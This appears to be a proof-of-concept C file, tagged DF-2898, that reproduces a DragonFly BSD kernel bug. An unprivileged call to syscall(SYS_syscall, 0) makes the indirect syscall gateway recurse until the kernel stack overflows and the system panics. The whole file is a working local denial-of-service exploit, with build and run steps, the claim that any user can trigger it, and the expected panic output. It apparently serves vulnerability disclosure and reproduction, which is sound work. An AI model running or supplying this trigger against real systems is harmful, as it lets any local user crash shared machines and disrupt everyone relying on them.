DF-2898 / trigger.c
/* DF-2898 โ minimal trigger: unprivileged kernel panic via the indirect * syscall gateway recursing into itself. * * libc syscall() on DragonFly x86_64 issues rax=SYS___syscall(198) with the * caller's `number` left in RDI (no register shuffle; see * lib/libc/x86_64 stubs: `mov $198,%rax; syscall`). The kernel's * sys_xsyscall() then dispatches sysent[tf_rdi]. Passing number=0 * (SYS_syscall) โ or 198 โ makes it dispatch sysent[0]/sysent[198] = * sys_xsyscall AGAIN, which re-reads the same tf_rdi: unbounded kernel * recursion on the 16KB kernel stack -> stack-guard double fault -> panic. * * build: cc -O0 -o trigger trigger.c * run: ./trigger (as any unprivileged user) * expect: kernel panics: "DOUBLE FAULT - KERNEL STACK GUARD HIT!", * "panic: double fault", rip=sys_xsyscall+0x84, rsp=<guard page>. */ #include <sys/syscall.h> int main(void) { /* one line, any user, deterministic panic */ return (int)syscall(SYS_syscall, 0); } |